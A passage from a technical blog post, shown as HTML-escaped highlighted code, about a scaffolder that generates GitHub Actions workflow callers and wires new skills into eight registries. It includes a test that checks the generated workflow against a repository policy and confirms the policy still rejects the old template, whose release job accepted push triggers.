&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    # merge into a release.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    if: github.event_name == &apos;workflow_dispatch&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    uses: ./.github/workflows/_release.yml&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Every registry a new skill has to appear in for the rest of the toolchain to&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// see it. The list is the contract; a scaffolder that wires six of seven&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// produces a skill that looks complete and is invisible to one tool.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; REGISTRIES &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &apos;marketplace.json&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &apos;repo-settings.sh&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &apos;plugin.json&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &apos;workflow-caller&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &apos;changelog&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &apos;invariants&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &apos;shipflow.json&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; scaffold&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(skill, { fixed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {}) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    workflow: (fixed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; emitCallerFixed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; emitCaller)(skill),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    wired: REGISTRIES.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ({ registry: r, entry: skill })),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note the &lt;code&gt;push&lt;/code&gt; trigger survives at the top of both templates. That one is
correct and load-bearing: it runs the tests when the branch changes.
&lt;code&gt;workflow_dispatch&lt;/code&gt; is required for the
&lt;a href=&quot;https://docs.github.com/en/actions/reference/workflows-and-actions/events-that-trigger-workflows&quot;&gt;manual trigger&lt;/a&gt;,
which the docs describe as how you run a workflow from the API, CLI or UI. The
banned thing is narrower than either: it is the release job’s &lt;code&gt;if:&lt;/code&gt; accepting
&lt;code&gt;push&lt;/code&gt;. A rule stated as “no push triggers” would have been wrong and would have
been removed within a week.&lt;/p&gt;
&lt;p&gt;The registry list is the other half of what shipped. This repo’s scaffolder
wires eight registries now; it wired seven, and the missing one meant a newly
created skill was invisible to the release tooling entirely, which reported on
every other component and looked complete while doing it.&lt;/p&gt;
&lt;p&gt;Now the test that ties the two together:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// The test that closes the loop: RUN the generator, then hand its output to the&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// same policy checker your hand-written files go through.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;//&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// This file is deliberately separate from any golden/baseline file the tooling&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// regenerates. A guard living inside a regenerated file is deleted by the&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// command someone runs when a golden goes red, which is the exact moment the&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// guard was supposed to speak up.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; assert &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:assert/strict&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { checkWorkflow } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./policy.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { emitCaller, scaffold, REGISTRIES } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./generate.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; run&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; results &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // 1. The generator&apos;s output obeys the policy.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; out &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; scaffold&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;newskill&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; checked &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; checkWorkflow&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;newskill.yml&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, out.workflow);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(checked.ok, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`scaffolded workflow violates policy: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;JSON&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;stringify&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;checked&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;findings&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  results.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;scaffolded workflow passes the repo policy&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // 2. Non-vacuity. The check must FAIL against the template it replaced,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  //    otherwise it is asserting nothing and will stay green through a&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  //    regression.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; old &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; checkWorkflow&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;newskill.yml&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;emitCaller&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;newskill&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(old.ok, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;the policy check does not catch the banned trigger&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  results.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`policy still catches the old template: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;old&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;findings&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;].&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;rule&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // 3. Every registry gets an entry. Counting is the assertion, because a&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  //    missing one is invisible in a diff that only shows what was added.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(out.wired.length, REGISTRIES.length);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; REGISTRIES) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;ok&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(out.wired.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;some&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((w) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; w.registry &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; w.entry &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;newskill&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`not wired into ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  results.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`wired into all ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;REGISTRIES&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.length&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} registries`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; results;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Assertion 2 is the one people skip and the one that does the work. A test
asserting only that today’s output is clean passes just as happily against a
checker that has stopped checking. Asserting the check still fails against the
input it was written for is what keeps it honest, and it costs one extra line.&lt;/p&gt;
&lt;h2&gt;Run it&lt;/h2&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; assert &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:assert/strict&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { checkWorkflow } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./policy.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { emitCaller, emitCallerFixed } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./generate.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { run } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./wiring.test.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// What the policy says about each template.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [label, yaml] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;old template&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;emitCaller&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;newskill&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;fixed template&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;emitCallerFixed&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;newskill&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; checkWorkflow&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;newskill.yml&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, yaml);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;label&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;padEnd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;15&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} ok=${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;ok&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (r.ok &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `  ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;findings&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;].&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;rule&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;findings&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;].&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;why&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
